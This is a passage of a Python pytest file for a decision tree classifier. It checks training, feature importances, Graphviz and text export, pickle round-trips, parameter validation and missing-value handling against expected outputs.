[0, 1, 1], [1, 0, 0], [1, 0, 0], [1, 0, 0], [1, 0, 0], [1, 1, 1]]).astype(np.double) y = np.array([0, 0, 1, 1, 1, 1, 1, 1, 1, 1]) X_test = np.array([[0, 0, 0], [0, 0, 1], [0, 1, 0], [0, 1, 1], [1, 0, 0], [1, 0, 1], [1, 1, 0], [1, 1, 1]]).astype(np.double) y_test = np.array([0, 0, 1, 1, 1, 1, 1, 1]) def test_simple_example(): clf = DecisionTreeClassifier(max_depth=3, random_state=0) assert clf.class_balance == 'balanced' assert clf.max_depth == 3 assert clf.max_features is None assert clf.max_thresholds is None assert clf.random_state == 0 # Training clf.fit(X, y) # Feature Importances feature_importances = clf.feature_importances_ feature_importances_target = [0.45454545, 0.54545455, 0.] for i1, i2 in zip(feature_importances, feature_importances_target): assert i1 > i2 - precision and i1 < i2 + precision # Visualize Tree dot_data = clf.export_graphviz( feature_names=features, class_names=classes, rotate=True) dot_data_target = \ r'digraph Tree {' '\n' \ r'node [shape=box, style="rounded, filled", color="black", fontname=helvetica, fontsize=14] ;' '\n' \ r'edge [fontname=helvetica, fontsize=12] ;' '\n' \ r'rankdir=LR ;' '\n' \ r'0 [label="a <= 0.5\np(class) = [0.5, 0.5]\nclass, n = 10", fillcolor="#FF000000"] ;' '\n' \ r'0 -> 1 [penwidth=6.875000, headlabel="True", labeldistance=2.5, labelangle=-45] ;' '\n' \ r'0 -> 4 [penwidth=3.125000] ;' '\n' \ r'1 [label="b <= 0.5\n[0.73, 0.27]", fillcolor="#FF000034"] ;' '\n' \ r'1 -> 2 [penwidth=5.000000] ;' '\n' \ r'1 -> 3 [penwidth=1.875000] ;' '\n' \ r'2 [label="[1, 0]\nA", fillcolor="#FF0000FF"] ;' '\n' \ r'3 [label="[0, 1]\nB", fillcolor="#00FF00FF"] ;' '\n' \ r'4 [label="[0, 1]\nB", fillcolor="#00FF00FF"] ;' '\n' \ r'}' assert dot_data == dot_data_target # Export textual format t = clf.export_text() t_target = r'0 X[0]<=0.5 [5, 5]; 0->1; 0->4; 1 X[1]<=0.5 [5, 1.88]; 1->2; 1->3; 2 [5, 0]; 3 [0, 1.88]; 4 [0, 3.12]; ' assert t == t_target # Persistence with open("simple_example_dtc.pkl", "wb") as f: pickle.dump(clf, f) with open("simple_example_dtc.pkl", "rb") as f: clf2 = pickle.load(f) assert clf2.export_text() == clf.export_text() # Classification c = clf2.predict(X) c_target = [0, 0, 1, 1, 1, 1, 1, 1, 1, 1] for i1, i2 in zip(c, c_target): assert i1 > i2 - precision and i1 < i2 + precision # Testing score = clf2.score(X, y) assert score > 1.0 - precision and score < 1.0 + precision # simple multi-output example # =========================== # multi-output fed with single-output # ----------------------------------- def test_simple_multi_output_example_with_single_output(): classes = [['0', '1', '2', '3', '4', '5', '6', '7']] features = ['2^2', '2^1', '2^0'] X_mo = np.array([[0, 0, 0], [0, 0, 1], [0, 1, 0], [0, 1, 1], [1, 0, 0], [1, 0, 1], [1, 1, 0], [1, 1, 1]]).astype(np.double) y_mo = np.array([[0], [1], [2], [3], [4], [5], [6], [7]]).astype(np.long) clf = DecisionTreeClassifier(max_depth=3, random_state=0) # Training clf.fit(X_mo, y_mo) # Feature Importances feature_importances = clf.feature_importances_ feature_importances_target = [0.57142857, 0.14285714, 0.28571429] for i1, i2 in zip(feature_importances, feature_importances_target): assert i1 > i2 - precision and i1 < i2 + precision # Visualize Tree dot_data = clf.export_graphviz( feature_names=features, class_names=classes, rotate=True) # filename = "simple_example_multi_output_with_single_output_dtc" # graph = graphviz.Source(dot_data) # graph.render(filename, format='pdf') dot_data_target = \ r'digraph Tree {' '\n' \ r'node [shape=box, style="rounded, filled", color="black", fontname=helvetica, fontsize=14] ;' '\n' \ r'edge [fontname=helvetica, fontsize=12] ;' '\n' \ r'rankdir=LR ;' '\n' \ r'0 [label="2^1 <= 0.5\np(class) = [0.12, 0.12, 0.12, 0.12, 0.12, 0.12, 0.12, 0.12]\nclass, n = 8", fillcolor="#FF000000"] ;' '\n' \ r'0 -> 1 [penwidth=5.000000, headlabel="True", labeldistance=2.5, labelangle=-45] ;' '\n' \ r'0 -> 8 [penwidth=5.000000] ;' '\n' \ r'1 [label="2^0 <= 0.5\n[0.25, 0.25, 0, 0, 0.25, 0.25, 0, 0]", fillcolor="#FF000024"] ;' '\n' \ r'1 -> 2 [penwidth=2.500000] ;' '\n' \ r'1 -> 5 [penwidth=2.500000] ;' '\n' \ r'2 [label="2^2 <= 0.5\n[0.5, 0, 0, 0, 0.5, 0, 0, 0]", fillcolor="#FF00006D"] ;' '\n' \ r'2 -> 3 [penwidth=1.250000] ;' '\n' \ r'2 -> 4 [penwidth=1.250000] ;' '\n' \ r'3 [label="[1, 0, 0, 0, 0, 0, 0, 0]\n0", fillcolor="#FF0000FF"] ;' '\n' \ r'4 [label="[0, 0, 0, 0, 1, 0, 0, 0]\n4", fillcolor="#00FFFFFF"] ;' '\n' \ r'5 [label="2^2 <= 0.5\n[0, 0.5, 0, 0, 0, 0.5, 0, 0]", fillcolor="#00FF006D"] ;' '\n' \ r'5 -> 6 [penwidth=1.250000] ;' '\n' \ r'5 -> 7 [penwidth=1.250000] ;' '\n' \ r'6 [label="[0, 1, 0, 0, 0, 0, 0, 0]\n1", fillcolor="#00FF00FF"] ;' '\n' \ r'7 [label="[0, 0, 0, 0, 0, 1, 0, 0]\n5", fillcolor="#FF00FFFF"] ;' '\n' \ r'8 [label="2^0 <= 0.5\n[0, 0, 0.25, 0.25, 0, 0, 0.25, 0.25]", fillcolor="#0000FF24"] ;' '\n' \ r'8 -> 9 [penwidth=2.500000] ;' '\n' \ r'8 -> 12 [penwidth=2.500000] ;' '\n' \ r'9 [label="2^2 <= 0.5\n[0, 0, 0.5, 0, 0, 0, 0.5, 0]", fillcolor="#0000FF6D"] ;' '\n' \ r'9 -> 10 [penwidth=1.250000] ;' '\n' \ r'9 -> 11 [penwidth=1.250000] ;' '\n' \ r'10 [label="[0, 0, 1, 0, 0, 0, 0, 0]\n2", fillcolor="#0000FFFF"] ;' '\n' \ r'11 [label="[0, 0, 0, 0, 0, 0, 1, 0]\n6", fillcolor="#FF8000FF"] ;' '\n' \ r'12 [label="2^2 <= 0.5\n[0, 0, 0, 0.5, 0, 0, 0, 0.5]", fillcolor="#FFFF006D"] ;' '\n' \ r'12 -> 13 [penwidth=1.250000] ;' '\n' \ r'12 -> 14 [penwidth=1.250000] ;' '\n' \ r'13 [label="[0, 0, 0, 1, 0, 0, 0, 0]\n3", fillcolor="#FFFF00FF"] ;' '\n' \ r'14 [label="[0, 0, 0, 0, 0, 0, 0, 1]\n7", fillcolor="#00FF80FF"] ;' '\n' \ r'}' assert dot_data == dot_data_target # Export textual format t = clf.export_text() t_target = r'0 X[1]<=0.5 [1, 1, 1, 1, 1, 1, 1, 1]; 0->1; 0->8; 1 X[2]<=0.5 [1, 1, 0, 0, 1, 1, 0, 0]; 1->2; 1->5; 2 X[0]<=0.5 [1, 0, 0, 0, 1, 0, 0, 0]; 2->3; 2->4; 3 [1, 0, 0, 0, 0, 0, 0, 0]; 4 [0, 0, 0, 0, 1, 0, 0, 0]; 5 X[0]<=0.5 [0, 1, 0, 0, 0, 1, 0, 0]; 5->6; 5->7; 6 [0, 1, 0, 0, 0, 0, 0, 0]; 7 [0, 0, 0, 0, 0, 1, 0, 0]; 8 X[2]<=0.5 [0, 0, 1, 1, 0, 0, 1, 1]; 8->9; 8->12; 9 X[0]<=0.5 [0, 0, 1, 0, 0, 0, 1, 0]; 9->10; 9->11; 10 [0, 0, 1, 0, 0, 0, 0, 0]; 11 [0, 0, 0, 0, 0, 0, 1, 0]; 12 X[0]<=0.5 [0, 0, 0, 1, 0, 0, 0, 1]; 12->13; 12->14; 13 [0, 0, 0, 1, 0, 0, 0, 0]; 14 [0, 0, 0, 0, 0, 0, 0, 1]; ' assert t == t_target # Persistence with open("simple_example_multi_output_with_single_output_dtc.pkl", "wb") as f: pickle.dump(clf, f) with open("simple_example_multi_output_with_single_output_dtc.pkl", "rb") as f: clf2 = pickle.load(f) assert clf2.export_text() == clf.export_text() # Classification c = clf2.predict(X_mo) for i1, i2 in zip(c, y_mo): assert i1 > i2 - precision and i1 < i2 + precision # Testing score = clf2.score(X_mo, y_mo) assert score > 1.0 - precision and score < 1.0 + precision # multi-output # ------------ def test_simple_multi_output_example(): classes = [['0', '1', '2', '3', '4', '5', '6', '7'], ['0', '4'], ['0', '2'], ['0', '1']] features = ['2^2', '2^1', '2^0'] X_mo = np.array([[0, 0, 0], [0, 0, 1], [0, 1, 0], [0, 1, 1], [1, 0, 0], [1, 0, 1], [1, 1, 0], [1, 1, 1]]).astype(np.double) y_mo = np.array([[0, 0, 0, 0], [1, 0, 0, 1], [2, 0, 1, 0], [3, 0, 1, 1], [4, 1, 0, 0], [5, 1, 0, 1], [6, 1, 1, 0], [7, 1, 1, 1]]).astype(np.long) clf = DecisionTreeClassifier(max_depth=3, random_state=0) # Training clf.fit(X_mo, y_mo) # Feature Importances feature_importances = clf.feature_importances_ feature_importances_target = [0.42105263, 0.26315789, 0.31578947] for i1, i2 in zip(feature_importances, feature_importances_target): assert i1 > i2 - precision and i1 < i2 + precision # Visualize Tree dot_data = clf.export_graphviz( feature_names=features, class_names=classes, rotate=True) # filename = "simple_example_multi_output_dtc" # graph = graphviz.Source(dot_data) # graph.render(filename, format='pdf') dot_data_target = \ r'digraph Tree {' '\n' \ r'node [shape=box, style="rounded, filled", color="black", fontname=helvetica, fontsize=14] ;' '\n' \ r'edge [fontname=helvetica, fontsize=12] ;' '\n' \ r'rankdir=LR ;' '\n' \ r'0 [label="2^1 <= 0.5\np(class) = [0.12, 0.12, 0.12, 0.12, 0.12, 0.12, 0.12, 0.12]\n[0.5, 0.5]\n[0.5, 0.5]\n[0.5, 0.5]\nclass, n = 8", fillcolor="#FF000000"] ;' '\n' \ r'0 -> 1 [penwidth=5.000000, headlabel="True", labeldistance=2.5, labelangle=-45] ;' '\n' \ r'0 -> 8 [penwidth=5.000000] ;' '\n' \ r'1 [label="2^0 <= 0.5\n[0.25, 0.25, 0, 0, 0.25, 0.25, 0, 0]\n[0.5, 0.5]\n[1, 0]\n[0.5, 0.5]\n", fillcolor="#FF000043"] ;' '\n' \ r'1 -> 2 [penwidth=2.500000] ;' '\n' \ r'1 -> 5 [penwidth=2.500000] ;' '\n' \ r'2 [label="2^2 <= 0.5\n[0.5, 0, 0, 0, 0.5, 0, 0, 0]\n[0.5, 0.5]\n[1, 0]\n[1, 0]\n", fillcolor="#FF000093"] ;' '\n' \ r'2 -> 3 [penwidth=1.250000] ;' '\n' \ r'2 -> 4 [penwidth=1.250000] ;' '\n' \ r'3 [label="[1, 0, 0, 0, 0, 0, 0, 0]\n[1, 0]\n[1, 0]\n[1, 0]\n0\n0\n0\n0\n", fillcolor="#FF0000FF"] ;' '\n' \ r'4 [label="[0, 0, 0, 0, 1, 0, 0, 0]\n[0, 1]\n[1, 0]\n[1, 0]\n4\n4\n0\n0\n", fillcolor="#FF4000FF"] ;' '\n' \ r'5 [label="2^2 <= 0.5\n[0, 0.5, 0, 0, 0, 0.5, 0, 0]\n[0.5, 0.5]\n[1, 0]\n[0, 1]\n", fillcolor="#FFFF0093"] ;' '\n' \ r'5 -> 6 [penwidth=1.250000] ;' '\n' \ r'5 -> 7 [penwidth=1.250000] ;' '\n' \ r'6 [label="[0, 1, 0, 0, 0, 0, 0, 0]\n[1, 0]\n[1, 0]\n[0, 1]\n1\n0\n0\n1\n", fillcolor="#FFFF00FF"] ;' '\n' \ r'7 [label="[0, 0, 0, 0, 0, 1, 0, 0]\n[0, 1]\n[1, 0]\n[0, 1]\n5\n4\n0\n1\n", fillcolor="#BFFF00FF"] ;' '\n' \ r'8 [label="2^0 <= 0.5\n[0, 0, 0.25, 0.25, 0, 0, 0.25, 0.25]\n[0.5, 0.5]\n[0, 1]\n[0.5, 0.5]\n", fillcolor="#00FFFF43"] ;' '\n' \ r'8 -> 9 [penwidth=2.500000] ;' '\n' \ r'8 -> 12 [penwidth=2.500000] ;' '\n' \ r'9 [label="2^2 <= 0.5\n[0, 0, 0.5, 0, 0, 0, 0.5, 0]\n[0.5, 0.5]\n[0, 1]\n[1, 0]\n", fillcolor="#00FFFF93"] ;' '\n' \ r'9 -> 10 [penwidth=1.250000] ;' '\n' \ r'9 -> 11 [penwidth=1.250000] ;' '\n' \ r'10 [label="[0, 0, 1, 0, 0, 0, 0, 0]\n[1, 0]\n[0, 1]\n[1, 0]\n2\n0\n2\n0\n", fillcolor="#00FFFFFF"] ;' '\n' \ r'11 [label="[0, 0, 0, 0, 0, 0, 1, 0]\n[0, 1]\n[0, 1]\n[1, 0]\n6\n4\n2\n0\n", fillcolor="#00BFFFFF"] ;' '\n' \ r'12 [label="2^2 <= 0.5\n[0, 0, 0, 0.5, 0, 0, 0, 0.5]\n[0.5, 0.5]\n[0, 1]\n[0, 1]\n", fillcolor="#00FF8093"] ;' '\n' \ r'12 -> 13 [penwidth=1.250000] ;' '\n' \ r'12 -> 14 [penwidth=1.250000] ;' '\n' \ r'13 [label="[0, 0, 0, 1, 0, 0, 0, 0]\n[1, 0]\n[0, 1]\n[0, 1]\n3\n0\n2\n1\n", fillcolor="#00FF80FF"] ;' '\n' \ r'14 [label="[0, 0, 0, 0, 0, 0, 0, 1]\n[0, 1]\n[0, 1]\n[0, 1]\n7\n4\n2\n1\n", fillcolor="#00FFC0FF"] ;' '\n' \ r'}' assert dot_data == dot_data_target # Export textual format t = clf.export_text() t_target = r'0 X[1]<=0.5 [1, 1, 1, 1, 1, 1, 1, 1][4, 4][4, 4][4, 4]; 0->1; 0->8; 1 X[2]<=0.5 [1, 1, 0, 0, 1, 1, 0, 0][2, 2][4, 0][2, 2]; 1->2; 1->5; 2 X[0]<=0.5 [1, 0, 0, 0, 1, 0, 0, 0][1, 1][2, 0][2, 0]; 2->3; 2->4; 3 [1, 0, 0, 0, 0, 0, 0, 0][1, 0][1, 0][1, 0]; 4 [0, 0, 0, 0, 1, 0, 0, 0][0, 1][1, 0][1, 0]; 5 X[0]<=0.5 [0, 1, 0, 0, 0, 1, 0, 0][1, 1][2, 0][0, 2]; 5->6; 5->7; 6 [0, 1, 0, 0, 0, 0, 0, 0][1, 0][1, 0][0, 1]; 7 [0, 0, 0, 0, 0, 1, 0, 0][0, 1][1, 0][0, 1]; 8 X[2]<=0.5 [0, 0, 1, 1, 0, 0, 1, 1][2, 2][0, 4][2, 2]; 8->9; 8->12; 9 X[0]<=0.5 [0, 0, 1, 0, 0, 0, 1, 0][1, 1][0, 2][2, 0]; 9->10; 9->11; 10 [0, 0, 1, 0, 0, 0, 0, 0][1, 0][0, 1][1, 0]; 11 [0, 0, 0, 0, 0, 0, 1, 0][0, 1][0, 1][1, 0]; 12 X[0]<=0.5 [0, 0, 0, 1, 0, 0, 0, 1][1, 1][0, 2][0, 2]; 12->13; 12->14; 13 [0, 0, 0, 1, 0, 0, 0, 0][1, 0][0, 1][0, 1]; 14 [0, 0, 0, 0, 0, 0, 0, 1][0, 1][0, 1][0, 1]; ' assert t == t_target # Persistence with open("simple_example_multi_output_dtc.pkl", "wb") as f: pickle.dump(clf, f) with open("simple_example_multi_output_dtc.pkl", "rb") as f: clf2 = pickle.load(f) assert clf2.export_text() == clf.export_text() # Classification c = clf2.predict(X_mo) for i1, i2 in zip(c.ravel(), y_mo.ravel()): assert i1 > i2 - precision and i1 < i2 + precision # Testing score = clf2.score(X_mo, y_mo) assert score > 1.0 - precision and score < 1.0 + precision # DecisionTreeClassifier.fit() # ============================ def test_fit(): clf = DecisionTreeClassifier(random_state=0) clf.fit(X, y) data = clf.export_text() data_target = r'0 X[0]<=0.5 [5, 5]; 0->1; 0->4; 1 X[1]<=0.5 [5, 1.88]; 1->2; 1->3; 2 [5, 0]; 3 [0, 1.88]; 4 [0, 3.12]; ' assert data == data_target # max_depth # --------- def test_fit_maxdepth(): clf = DecisionTreeClassifier(class_balance=None, max_depth='abc', random_state=0) with pytest.raises(TypeError): clf.fit(X, y) clf = DecisionTreeClassifier(class_balance=None, max_depth=-999, random_state=0) with pytest.raises(ValueError) as excinfo: clf.fit(X, y) assert 'max_depth' in str(excinfo.value) clf = DecisionTreeClassifier(class_balance=None, max_depth=0, random_state=0) with pytest.raises(ValueError) as excinfo: clf.fit(X, y) assert 'max_depth' in str(excinfo.value) clf = DecisionTreeClassifier(class_balance=None, max_depth=1, random_state=0) clf.fit(X, y) data = clf.export_text() data_target = r'0 X[0]<=0.5 [2, 8]; 0->1; 0->2; 1 [2, 3]; 2 [0, 5]; ' assert data == data_target clf = DecisionTreeClassifier(class_balance=None, max_depth=2, random_state=0) clf.fit(X, y) data = clf.export_text() data_target = r'0 X[0]<=0.5 [2, 8]; 0->1; 0->4; 1 X[1]<=0.5 [2, 3]; 1->2; 1->3; 2 [2, 0]; 3 [0, 3]; 4 [0, 5]; ' assert data == data_target clf = DecisionTreeClassifier(class_balance=None, max_depth=999, random_state=0) clf.fit(X, y) data = clf.export_text() data_target = r'0 X[0]<=0.5 [2, 8]; 0->1; 0->4; 1 X[1]<=0.5 [2, 3]; 1->2; 1->3; 2 [2, 0]; 3 [0, 3]; 4 [0, 5]; ' assert data == data_target # class_balance # ------------- def test_fit_classbalance(): clf = DecisionTreeClassifier(class_balance=0, random_state=0) with pytest.raises(TypeError): clf.fit(X, y) clf = DecisionTreeClassifier(class_balance='auto', random_state=0) with pytest.raises(ValueError) as excinfo: clf.fit(X, y) assert 'class_balance' in str(excinfo.value) clf = DecisionTreeClassifier(class_balance='balanced', random_state=0) clf.fit(X, y) data = clf.export_text() data_target = r'0 X[0]<=0.5 [5, 5]; 0->1; 0->4; 1 X[1]<=0.5 [5, 1.88]; 1->2; 1->3; 2 [5, 0]; 3 [0, 1.88]; 4 [0, 3.12]; ' assert data == data_target # max_depth + class_balance # ------------------------- def test_fit_maxdepth_classbalance(): clf = DecisionTreeClassifier(max_depth=2, class_balance='balanced', random_state=0) clf.fit(X, y) data = clf.export_text() data_target = r'0 X[0]<=0.5 [5, 5]; 0->1; 0->4; 1 X[1]<=0.5 [5, 1.88]; 1->2; 1->3; 2 [5, 0]; 3 [0, 1.88]; 4 [0, 3.12]; ' assert data == data_target # max_features # ------------ def test_fit_maxfeatures(): clf = DecisionTreeClassifier(max_features=None, random_state=0) clf.fit(X, y) data = clf.export_text() data_target = r'0 X[0]<=0.5 [5, 5]; 0->1; 0->4; 1 X[1]<=0.5 [5, 1.88]; 1->2; 1->3; 2 [5, 0]; 3 [0, 1.88]; 4 [0, 3.12]; ' assert data == data_target # integers clf = DecisionTreeClassifier(max_features=-1, random_state=0) with pytest.raises(ValueError) as excinfo: clf.fit(X, y) assert 'max_features' in str(excinfo.value) clf = DecisionTreeClassifier(max_features=0, random_state=0) with pytest.raises(ValueError) as excinfo: clf.fit(X, y) assert 'max_features' in str(excinfo.value) clf = DecisionTreeClassifier(max_features=1, random_state=0) clf.fit(X, y) data = clf.export_text() data_target = r'0 X[1]<=0.5 [5, 5]; 0->1; 0->6; 1 X[2]<=0.5 [5, 2.5]; 1->2; 1->5; 2 X[0]<=0.5 [2.5, 2.5]; 2->3; 2->4; 3 [2.5, 0]; 4 [0, 2.5]; 5 [2.5, 0]; 6 [0, 2.5]; ' assert data == data_target clf = DecisionTreeClassifier(max_features=2, random_state=0) clf.fit(X, y) data = clf.export_text() data_target = r'0 X[1]<=0.5 [5, 5]; 0->1; 0->6; 1 X[2]<=0.5 [5, 2.5]; 1->2; 1->5; 2 X[0]<=0.5 [2.5, 2.5]; 2->3; 2->4; 3 [2.5, 0]; 4 [0, 2.5]; 5 [2.5, 0]; 6 [0, 2.5]; ' assert data == data_target clf = DecisionTreeClassifier(max_features=4, random_state=0) with pytest.raises(ValueError) as excinfo: clf.fit(X, y) assert 'max_features' in str(excinfo.value) # floats clf = DecisionTreeClassifier(max_features=-1.0, random_state=0) with pytest.raises(ValueError) as excinfo: clf.fit(X, y) assert 'max_features' in str(excinfo.value) clf = DecisionTreeClassifier(max_features=0.0, random_state=0) with pytest.raises(ValueError) as excinfo: clf.fit(X, y) assert 'max_features' in str(excinfo.value) clf = DecisionTreeClassifier(max_features=0.1, random_state=0) clf.fit(X, y) data = clf.export_text() data_target = r'0 X[1]<=0.5 [5, 5]; 0->1; 0->6; 1 X[2]<=0.5 [5, 2.5]; 1->2; 1->5; 2 X[0]<=0.5 [2.5, 2.5]; 2->3; 2->4; 3 [2.5, 0]; 4 [0, 2.5]; 5 [2.5, 0]; 6 [0, 2.5]; ' assert data == data_target clf = DecisionTreeClassifier(max_features=0.67, random_state=0) clf.fit(X, y) data = clf.export_text() data_target = r'0 X[1]<=0.5 [5, 5]; 0->1; 0->6; 1 X[2]<=0.5 [5, 2.5]; 1->2; 1->5; 2 X[0]<=0.5 [2.5, 2.5]; 2->3; 2->4; 3 [2.5, 0]; 4 [0, 2.5]; 5 [2.5, 0]; 6 [0, 2.5]; ' assert data == data_target clf = DecisionTreeClassifier(max_features=1.0, random_state=0) clf.fit(X, y) data = clf.export_text() data_target = r'0 X[0]<=0.5 [5, 5]; 0->1; 0->4; 1 X[1]<=0.5 [5, 1.88]; 1->2; 1->3; 2 [5, 0]; 3 [0, 1.88]; 4 [0, 3.12]; ' assert data == data_target clf = DecisionTreeClassifier(max_features=1.1, random_state=0) with pytest.raises(ValueError) as excinfo: clf.fit(X, y) assert 'max_features' in str(excinfo.value) # strings clf = DecisionTreeClassifier(max_features='xxx', random_state=0) with pytest.raises(ValueError) as excinfo: clf.fit(X, y) assert 'max_features' in str(excinfo.value) clf = DecisionTreeClassifier(max_features='auto', random_state=0) clf.fit(X, y) data = clf.export_text() data_target = r'0 X[1]<=0.5 [5, 5]; 0->1; 0->6; 1 X[2]<=0.5 [5, 2.5]; 1->2; 1->5; 2 X[0]<=0.5 [2.5, 2.5]; 2->3; 2->4; 3 [2.5, 0]; 4 [0, 2.5]; 5 [2.5, 0]; 6 [0, 2.5]; ' assert data == data_target clf = DecisionTreeClassifier(max_features='sqrt', random_state=0) clf.fit(X, y) data = clf.export_text() data_target = r'0 X[1]<=0.5 [5, 5]; 0->1; 0->6; 1 X[2]<=0.5 [5, 2.5]; 1->2; 1->5; 2 X[0]<=0.5 [2.5, 2.5]; 2->3; 2->4; 3 [2.5, 0]; 4 [0, 2.5]; 5 [2.5, 0]; 6 [0, 2.5]; ' assert data == data_target clf = DecisionTreeClassifier(max_features='log2', random_state=0) clf.fit(X, y) data = clf.export_text() data_target = r'0 X[1]<=0.5 [5, 5]; 0->1; 0->6; 1 X[2]<=0.5 [5, 2.5]; 1->2; 1->5; 2 X[0]<=0.5 [2.5, 2.5]; 2->3; 2->4; 3 [2.5, 0]; 4 [0, 2.5]; 5 [2.5, 0]; 6 [0, 2.5]; ' assert data == data_target # misc clf = DecisionTreeClassifier(max_features=[], random_state=0) with pytest.raises(TypeError) as excinfo: clf.fit(X, y) assert 'max_features' in str(excinfo.value) # max_thresholds # -------------- def test_fit_maxthresholds(): # None clf = DecisionTreeClassifier(max_thresholds=None, random_state=0) clf.fit(X, y) data = clf.export_text() data_target = r'0 X[0]<=0.5 [5, 5]; 0->1; 0->4; 1 X[1]<=0.5 [5, 1.88]; 1->2; 1->3; 2 [5, 0]; 3 [0, 1.88]; 4 [0, 3.12]; ' assert data == data_target # integers clf = DecisionTreeClassifier(max_thresholds=0, random_state=0) with pytest.raises(ValueError) as excinfo: clf.fit(X, y) assert 'max_thresholds' in str(excinfo.value) clf = DecisionTreeClassifier(max_thresholds=99, random_state=0) with pytest.raises(ValueError) as excinfo: clf.fit(X, y) assert 'max_thresholds' in str(excinfo.value) # misc clf = DecisionTreeClassifier(max_thresholds=[], random_state=0) with pytest.raises(TypeError) as excinfo: clf.fit(X, y) assert 'max_thresholds' in str(excinfo.value) # max_features and max_thresholds # ------------------------------- def test_fit_maxfeatures_maxthresholds(): # decision tree: max_features=None, max_thresholds=None ... covered before # random tree: max_features<n_features, max_thresholds=None ... covered before # extreme randomized tree: max_features<n_features, max_thresholds=1 clf = DecisionTreeClassifier(max_depth=2, max_features=2, max_thresholds=1, random_state=0) clf.fit(X, y) data = clf.export_text() data_target = r'0 X[1]<=0.715 [5, 5]; 0->1; 0->4; 1 X[2]<=0.624 [5, 2.5]; 1->2; 1->3; 2 [2.5, 2.5]; 3 [2.5, 0]; 4 [0, 2.5]; ' assert data == data_target # totally randomized tree: max_features=1, max_thresholds=1 clf = DecisionTreeClassifier(max_depth=2, max_features=1, max_thresholds=1, random_state=0) clf.fit(X, y) data = clf.export_text() data_target = r'0 X[1]<=0.715 [5, 5]; 0->1; 0->4; 1 X[2]<=0.858 [5, 2.5]; 1->2; 1->3; 2 [2.5, 2.5]; 3 [2.5, 0]; 4 [0, 2.5]; ' assert data == data_target # missing_values # -------------- def test_fit_missingvalues(): # training clf = DecisionTreeClassifier(missing_values='abc', random_state=0) with pytest.raises(ValueError) as excinfo: clf.fit(X, y) assert 'unsupported string' in str(excinfo.value) clf = DecisionTreeClassifier(missing_values=0, random_state=0) with pytest.raises(TypeError) as excinfo: clf.fit(X, y) assert 'not supported' in str(excinfo.value) # - no NaN in y ever X_train_mv = np.array([ [np.NaN], [np.NaN] ]).astype(np.double) y_train_mv = np.array([0, np.NaN]) clf = DecisionTreeClassifier(missing_values=None, random_state=0) with pytest.raises(ValueError) as excinfo: clf.fit(X_train_mv, y_train_mv) assert 'NaN' in str(excinfo.value) clf = DecisionTreeClassifier(missing_values='NMAR', random_state=0) with pytest.raises(ValueError) as excinfo: clf.fit(X_train_mv, y_train_mv) assert 'NaN' in str(excinfo.value) # - no NaN in X when missing values None y_train_mv = np.array([0, 1]) clf = DecisionTreeClassifier(missing_values=None, random_state=0) with pytest.raises(ValueError) as excinfo: clf.fit(X_train_mv, y_train_mv) assert 'NaN' in str(excinfo.value) # - only NaN(s) y_train_mv = np.array([0, 1]) clf = DecisionTreeClassifier(missing_values='NMAR', random_state=0) clf.fit(X_train_mv, y_train_mv) data = clf.export_text() data_target = r'0 [1, 1]; ' assert data == data_target dot_data = clf.export_graphviz() dot_data_target = \ r'digraph Tree {' '\n' \ r'node [shape=box, style="rounded, filled", color="black", fontname=helvetica, fontsize=14] ;' '\n' \ r'edge [fontname=helvetica, fontsize=12] ;' '\n' \ r'0 [label="[0.5, 0.5]\n0", fillcolor="#FF000000"] ;' '\n' \ r'}' assert dot_data == dot_data_target # - 1 value : 0, 1 NaN : 1 X_train_mv = np.array([ [0], [np.NaN] ]).astype(np.double) y_train_mv = np.array([0, 1]) clf = DecisionTreeClassifier(missing_values='NMAR', random_state=0) clf.fit(X_train_mv, y_train_mv) data = clf.export_text() data_target = r'0 X[0] NA [1, 1]; 0->1; 0->2; 1 [0, 1]; 2 [1, 0]; ' assert data == data_target dot_data = clf.export_graphviz() dot_data_target = \ r'digraph Tree {' '\n' \ r'node [shape=box, style="rounded, filled", color="black", fontname=helvetica, fontsize=14] ;' '\n' \ r'edge [fontname=helvetica, fontsize=12] ;' '\n' \ r'0 [label="X[0] not NA\np(class) = [0.5, 0.5]\nclass, n = 2", fillcolor="#FF000000"] ;' '\n' \ r'0 -> 2 [penwidth=5.000000, headlabel="True", labeldistance=2.5, labelangle=45] ;' '\n' \ r'0 -> 1 [penwidth=5.000000] ;' '\n' \ r'2 [label="[1, 0]\n0", fillcolor="#FF0000FF"] ;' '\n' \ r'1 [label="[0, 1]\n1", fillcolor="#00FF00FF"] ;' '\n' \ r'}' assert dot_data == dot_data_target # - 1 value : 0, 1 value and 1 NaN : 1 X_train_mv = np.array([ [0], [1], [np.NaN] ]).astype(np.double) y_train_mv = np.array([0, 1, 1]) clf = DecisionTreeClassifier(missing_values='NMAR', random_state=0) clf.fit(X_train_mv, y_train_mv) data = clf.export_text() data_target = r'0 X[0]<=0.5 not NA [1.5, 1.5]; 0->1; 0->2; 1 [1.5, 0]; 2 [0, 1.5]; ' assert data == data_target dot_data = clf.export_graphviz() dot_data_target = \ r'digraph Tree {' '\n' \ r'node [shape=box, style="rounded, filled", color="black", fontname=helvetica, fontsize=14] ;' '\n' \ r'edge [fontname=helvetica, fontsize=12] ;' '\n' \ r'0 [label="X[0] <= 0.5 not NA\np(class) = [0.5, 0.5]\nclass, n = 3", fillcolor="#FF000000"] ;' '\n' \ r'0 -> 1 [penwidth=5.000000, headlabel="True", labeldistance=2.5, labelangle=45] ;' '\n' \ r'0 -> 2 [penwidth=5.000000] ;' '\n' \ r'1 [label="[1, 0]\n0", fillcolor="#FF0000FF"] ;' '\n' \ r'2 [label="[0, 1]\n1", fillcolor="#00FF00FF"] ;' '\n' \ r'}' assert dot_data == dot_data_target # testing # - simple dataset - no NaN(s) in training, all 1s are NaN(s) in testing X_train_mv = np.array([ [0, 0, 0], [0, 0, 1], [0, 1, 0], [0, 1, 1], [1, 0, 0], [1, 0, 1], [1, 1, 0], [1, 1, 1] ]).astype(np.double) y_train_mv = np.array([0, 1, 2, 3, 4, 5, 6, 7]) X_test_mv = np.array([ [0, 0, 0], [0, 0, np.NaN], [0, np.NaN, 0], [0, np.NaN, np.NaN], [np.NaN, 0, 0], [np.NaN, 0, np.NaN], [np.NaN, np.NaN, 0], [np.NaN, np.NaN, np.NaN] ]).astype(np.double) clf = DecisionTreeClassifier(missing_values='NMAR', random_state=11) clf.fit(X_train_mv, y_train_mv) data = clf.export_text() data_target = r'0 X[0]<=0.5 [1, 1, 1, 1, 1, 1, 1, 1]; 0->1; 0->8; 1 X[1]<=0.5 [1, 1, 1, 1, 0, 0, 0, 0]; 1->2; 1->5; 2 X[2]<=0.5 [1, 1, 0, 0, 0, 0, 0, 0]; 2->3; 2->4; 3 [1, 0, 